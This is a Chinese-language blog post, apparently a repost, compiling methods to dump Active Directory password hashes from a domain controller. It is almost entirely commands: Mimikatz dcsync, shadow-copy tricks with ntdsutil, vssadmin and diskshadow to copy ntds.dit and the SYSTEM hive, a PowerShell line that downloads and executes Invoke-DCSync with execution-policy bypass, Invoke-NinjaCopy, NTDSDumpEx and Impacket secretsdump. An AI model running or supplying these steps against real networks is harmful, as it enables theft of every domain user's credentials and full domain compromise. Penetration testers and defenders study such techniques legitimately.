域渗透之导出域Hash

域渗透之导出域Hash前言网上采集了一些域内导出NTDS.dit文件的方式Hash值存储在域控制器中(C:\Windows\NTDS\NTDS.DIT)MimikatzMimikatz有一

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

域渗透之导出域Hash

前言

网上采集了一些域内导出NTDS.dit文件的方式

Hash 值存储在域控制器中(C:\Windows\NTDS\NTDS.DIT)

Mimikatz

Mimikatz有一个功能(dcsync),它利用目录复制服务(DRS)从 NTDS.DIT 文件中检索密码 Hash 值。

Mimikatz "lsadump::dcsync /domain:test.com /all /csv" exit > hash.txt  //所有用户 
Mimikatz "lsadump::dcsync /domain:test.com /user:username" exit > hash.txt   //# 指定用户     

Ntdsutil

Ntdsutil 域控制器默认安装,使管理员能访问和管理 Windows Active Directory 数据库。渗透测试中可以用它来拍摄 ntds.dit 文件的快照

# 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
GUID 为 {aa488f5b-40c7-4044-b24f-16fd041a6de2}

# 挂载快照
ntdsutil snapshot "mount GUID" quit quit

# 复制 ntds.dit
copy C:\$SNAP_201908200435_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

# 卸载快照
ntdsutil snapshot "unmount GUID" quit quit

# 删除快照
ntdsutil snapshot "delete GUID" quit quit

# 查询快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

Vssadmin

域控制器默认安装

# 查询当前系统的快照
vssadmin list shadows

# 创建快照
vssadmin create shadow /for=c: /autoretry=10
"Shadow Copy Volume Name" 为 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
"Shadow Copy ID" 为 {aa488f5b-40c7-4044-b24f-16fd041a6de2}

# 复制 ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

# 删除快照
vssadmin delete shadows /for=c: /quiet

Diskshadow

DiskShadow 是由微软官方签名的,Windows Server 2008、2012、2016 都包含了 DiskShadow,所在目录C:\windows\system32\diskshadow.exe。包含交互式命令和脚本模式。

# 查看存放 `ntds.dit` 的逻辑驱动器(一般为 C 盘)
# 找出系统没有使用的逻辑驱动器号
wmic logicaldisk

# 调用脚本
C:\windows\system32\diskshadow.exe /s C:\shadow.txt

​ shadow.txt 内容

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "C:\windows\system32\cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.dit
delete shadows volume %someAlias%
reset

Powershell

项目地址:https://github.com/EmpireProject/Empire

# 远程加载 Invoke-DCSync.ps1

# 远程加载 Invoke-DCSync.ps1
powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-DCSync.ps1')";Invoke-DCSync -PWDumpFormat > hash.txt

通过NinjaCopy获得域控服务器NTDS.dit文件

ninjacopy下载地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

Import-Module -name .\Invoke-NinjaCopy.ps1 Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\ntds.dit" Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"     

ntds.dit 提取 Hash

NTDSDumpEx

# 离线模式:先导出注册表
reg save hklm\system system.hiv 
NTDSDumpEx.exe -d ntds.dit -s system.hiv -o hash.txt              

# 在线模式:无需导出注册表 
NTDSDumpEx.exe -d ntds.dit -r -o hash.txt            

Impacket

项目地址:https://github.com/SecureAuthCorp/impacket

因为 Kali 的 python 环境安装得比较全,所以使用 Kali 来解 Hash

python secretsdump.py -ntds /home/workspace/hash/ntds.dit -system /home/workspace/hash/sys.hiv LOCAL > /home/workspace/hash/hash.txt

使用 Ntdsutil、Vssadmin 等卷影拷贝工具时,需要先开启 Volume Shadow Copy Service 服务

参考

[域渗透]导出域用户Hash方法总结

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119832.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • golang 实现HTTP代理和反向代理

    golang 实现HTTP代理和反向代理代理的核心功能可以用一句话概括:接受客户端的请求,转发到后端服务器,获得应答之后返回给客户端。下图是《HTTP权威指南》一书中给出的图例,可以很清晰地说明这一流程:代理的功能有很多,事实上整个互联网到处都充斥着代理服务器。如果所有的HTTP访问都是客户端和服务器端直接进行的话,我们的网络不仅会变得缓慢,而且性能会大打折扣。代理服务器根据不同的配置和使用,可能会有不同的功能,这些…

    2022年7月16日
    14
  • Oracle基础 各种语句的定义格式

    Oracle内建数据类型一、 字符数据1、 char(size)2、 varchar2(size) 最常用,最大长度4000字节3、 nvhar(size)、nvarchar(size)4、 varc

    2021年12月20日
    44
  • 无线VLAN作用[通俗易懂]

    无线VLAN作用[通俗易懂]将一个AP放置在办公网,可以收到相当多的广播帧,也会转发出相当多的广播帧。转发出去的广播帧主要来自于有线端,这些大部分是没有用的。但对AP的性能消耗是很大的。解决办法有:1.驱动层过滤掉广播帧,防止接收广播帧消耗性能。包括PROBEREQUEST广播帧都可以不处理。只通过STA收听AP的BEACON帧完全就可以实现发现AP的作用了。2.构建单独的无线VLAN。

    2022年8月10日
    8
  • php如何替换字符串中的指定字符

    php如何替换字符串中的指定字符常用的函数有:str_replace()和preg_replace()。str_replace()函数使用一个字符串替换字符串中的另一些字符。str_replace(find,replace,string,count)参数描述find必需。规定要查找的值。replace必需。规定替换find中的值的值。string必需。规定被搜索的字符串。count可选。一个变量,对替换数进行计数。str_replace(“raykaeso”,“leixuesong”,“raykaeso

    2022年5月10日
    43
  • jmeter性能测试步骤入门_jmeter接口性能测试

    jmeter性能测试步骤入门_jmeter接口性能测试原文转自:https://blog.csdn.net/lovesoo/article/details/78579547ApacheJMeter是一款纯java编写负载功能测试和性能测试开源工具软件。相比Loadrunner而言,JMeter小巧轻便且免费,逐渐成为了主流的性能测试工具,是每个测试人员都必须要掌握的工具之一。本文为JMeter性能测试完整入门篇,从Jmeter下载安装到编写一个完整…

    2022年10月4日
    1
  • vue中清除浏览器缓存得方法

    vue中清除浏览器缓存得方法1.在HTTP协议中,只有后端返回expires或Cache-Control:max-age=XXX,前端才缓存。但在浏览器中,默认会对htmlcssjs等静态文件、以及重定向进行缓存,如果在HEAD头中指定:<HEAD> <METAHTTP-EQUIV=”Pragma”CONTENT=”no-cache”> <METAHTTP-EQUIV=”Cache-Control”CONTENT=”no-cache”> <METAHTTP-EQUIV

    2022年7月18日
    11

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号